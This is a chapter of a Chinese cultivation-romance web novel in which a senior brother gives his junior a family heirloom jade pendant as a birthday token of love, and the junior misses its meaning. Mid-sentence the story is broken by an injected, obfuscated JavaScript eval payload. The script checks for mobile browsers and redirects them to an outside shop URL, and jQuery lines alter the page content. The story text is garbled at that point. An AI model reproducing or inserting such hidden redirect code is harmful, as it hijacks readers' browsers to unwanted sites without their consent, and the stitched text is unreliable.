论道会的开幕式,场面极其宏大。
各宗门旗幡林立,远远望去连片的颜色铺开在云栖城上空,气势磅礴,锣鼓声从老远就传过来,震得归景耳朵嗡嗡的。
各宗门的掌门和长老按位次落座,衣袍各异,神色庄重,底下弟子列队而立,人头攒动,一眼望不到尽头。
归景站在清玄宗的位置,踮着脚往四周扫了一圈,这才注意到不远处的一列人马。
那面旗上绣着“梁”字,来的是当地的梁家,排场不小。
为首的是一个穿着锦缎的中年男子,身形富态,面带笑意,正在和旁边的人寒暄。
归景把这列人扫了个大概,发现了一个极其有意思的事。
梁家来了一大堆人,少则三四十个,却偏偏少了某个非常眼熟的面孔。
他侧过身,往岑无虞这边靠了靠,压低声音,拿手肘捅了捅岑无虞。
“大师兄,你看,梁家来了,就是没来那个……你懂的。”
岑无虞目视前方,面色平整,没有动。
归景又捅了一下:“那家伙是不是被你揍了,到现在伤都还没好,这才没来?”
岑无虞沉默了一下,视线在归景脸上落了一秒,又收了回去,只是极轻地“嗯”了一声,不置可否。
归景暗自乐了一下,嘴角翘起来。
他把脑袋重新摆正,这才发现前头的仪式还没完没了地进行着。
司仪拿着一卷长长的帛书,字正腔圆地念着开场词,声音洪亮,内容繁琐。
从天地灵机扯到了各宗门渊源,从渊源又绕到了论道会的历史,半天才说完一段。
归景撑住。
他挺直了腰,认认真真地盯着前方,这么重大的场合,他可不能掉链子。
两刻钟后,归景开始小鸡啄米。
他只觉得脑子里开始出现一层薄薄的雾气,耳朵里那些字慢慢开始只剩声音,听不出意思了。
他微微低了低头,悄悄打了个呵欠,眼角沁出一点水光,拼命忍住。
忍!
他抬起眼,往前头看了一眼,前面还有好几个掌门没上去讲话。
归景慢慢把目光收回来,开始数自己袖袍上的灵纹,从左数到右,从右数到左。
数完了灵纹,又开始数地砖的缝隙,数了三条,感觉这件事的娱乐性已经彻底耗尽了,于是抬起头,把目光默默投向了远处的天空。
就在这时,他的耳边忽然传来了一道声音,不是用嘴巴说话,是直接传进脑子里的那种。
“无聊了?”
归景眼皮一跳,歪了歪脑袋。
这是传音术,是岑无虞在传音给他。
“没有,”他把嘴微微抿起来,用传音回了过去,“我在认真听。“
岑无虞没有接这个话茬,片刻后,那道声音重新进来,语气平稳,却带着一点若有若无的紧张。
“今日是你生辰,我备了样东西,散了之后给你。”
归景的脑子瞬间清醒了三分。
礼物?!
他飞快地把注意力收了回来,把正在漫游的思绪一把拎回,往岑无虞这边侧了侧身,眼睛亮了一截,压着声音用传音问。
“什么礼物?”
岑无虞没回答。
“大师兄,什么礼物?”
还是没有回答。
归景歪了歪头,往岑无虞脸上看了一眼。
对方正望着前头,表情端方,看起来像是一副老神在在、什么都没说过的模样,好像刚才那道传音凭空冒出来的。
可归景就站在他旁边,他看见了岑无虞耳廓有那么一丁点儿泛着红,动作极其细微,他抬手摸了摸鼻侧,随即重新垂回去。
归景盯着他的侧脸研究了一会儿,若有所思。
这人心里在想什么?
他没再追问,只是把传音往回送了一声“那就算了,不想知道”。
随后就老老实实地重新把脸朝向前方,摆出了一副极其配合的架势。
岑无虞的手指动了动,传音来得比刚才更快一些。
“回去就告诉你。”
归景嘴角微微上翘,没有说话,继续看前方。
此刻他已经完全不无聊了,全心全意地期待着他在这个异世界的第一份生辰礼物。
岑无虞表面上端方稳重,目光投向台上,每一位开口的掌门他都认真在听,神情凝肃,看不出半点异样。
然而他的心思,其实一丁点都没在那些话上头。
他在想生辰礼的事。
那枚玉佩他已经备好了,岑家的家传之物。
他取出来的时候手很稳,但他心里其实有些不踏实,他不知道小师弟会不会接受。
他想起小师弟之前的那些反应。
收了灵剑,收了那柄青玉扇,收了集市上的一堆零碎,每次收东西都高高兴兴的。
但那些和今天要送的东西不一样,今天这枚玉佩,意思截然不同。
他侧眼往归景身上扫了一下,就看见归景正老实巴交地看着台上,呆毛竖着,眼睛睁得圆圆的,看起来在认真听。
岑无虞把眼神收回来,感觉脸上的热度在往上漫,他悄悄抬手在鼻侧蹭了一下,没出声。
等回去了,嗯。
回去了再说。
等到仪式全部走完,归景已经抖擞精神了。
他几乎是前脚走出会场,后脚就拉着岑无虞往住处走,脚步轻快,一边走一边还哼了两个音,逢人就让开,头也不回。
岑无虞跟在他旁边,走着走着,感觉脸上那股热意又上来了。
推开门,归景直接往屋里一站,转过身,眼神落到岑无虞手上。
“礼物呢?”
岑无虞没说话,从袖中取出一只小匣子,走过来,放到归景手里。
匣子不大,木质,表面打磨得极光,触感温润。
归景低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498003|202597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下头,把它打开。
里面躺着一枚玉佩。
青白色的玉质,细腻温润,雕着一对展翅的雀,雀的羽毛纹路精细得连一根一根都数得清楚。
整枚玉佩握在手心里,温度极舒适,往光里一照,玉色透得好看。
归景看了片刻,又把玉佩倒过来,再看了看背面的纹路,抬起眼睛:
“这……不便宜吧?”
“不重要。”岑无虞站在那里,语气平稳,“这是岑家的家传玉佩,历代只用于赠予岑家家主最重要的人。”
他说这话的时候语气很轻,但每个字都很郑重。
“你收下。“
归景看了他一眼,又低下头看那枚玉佩,有点说不清楚的感觉在心里转了一圈,却又很快散了。
毕竟是十八岁生辰,厚重一些也正常。
他把玉佩收进荷包,抬起脸,冲岑无虞笑了笑:“谢谢大师兄,我很喜欢。”
岑无虞低着眉,没有立刻说话,只是点了点头,往旁边走了一步,背过身去,在心里把那句“我很喜欢”过了一遍。
好。
小师弟收下了,小师弟还说喜欢。
岑无虞觉得自己像是踩在了云端那般不真实。
小师弟……真的接受他了?真的不是他在做梦?
他回忆再三,确认自己没有听错。
小师弟不仅收下了代表家主爱人的信物,还说“很喜欢”。
岑无虞把这三个字在嘴里念了又念,嘴角不自觉地勾起一抹笑。
小师弟喜欢玉佩,也就是喜欢他,他和小师弟是心意互通的。
他把袖子在手腕处收了收,神色稳住,耳廓的红意悄悄往外蔓了一截,被夜色遮住了大半。
归景已经把那枚玉佩掏出来对着灯火照了又照,完全没察觉到任何异样,只是觉得这玉的成色真是好看。
第二天,论道会照常。
清玄宗来了不少弟子,帮着打理各种事务,岑无虞作为代理宗主,要见的人、要商谈的事一茬接一茬,从早到晚几乎没有空档。
归景在会场里无所事事地晃了半圈,被岑无虞逮住,拎到了旁边坐着陪他。
说陪着,其实就是跟在岑无虞身侧,听一群人你一言我一语地谈事情。
归景坐了没多久,又开始出神,抬眼到处看,偶尔用眼角瞥瞥不同宗门的弟子,心里品评一番,打发时间。
谈话间隙,人少了一些,岑无虞侧过脸,低头看了他一眼,把旁边那杯灵茶往他这边推了推。
归景接过来喝了一口,把杯子搁回去,正要收手,岑无虞的手掌已经从旁边覆了上来。
归景愣了一下。
掌心对掌心,手指交扣,岑无虞握着他的手,力道不重,却很稳。
归景低头,看了看被握住的那只手,又抬起头,看了看岑无虞,只觉得自己大脑有些不够用。
大师兄……为什么要牵他的手?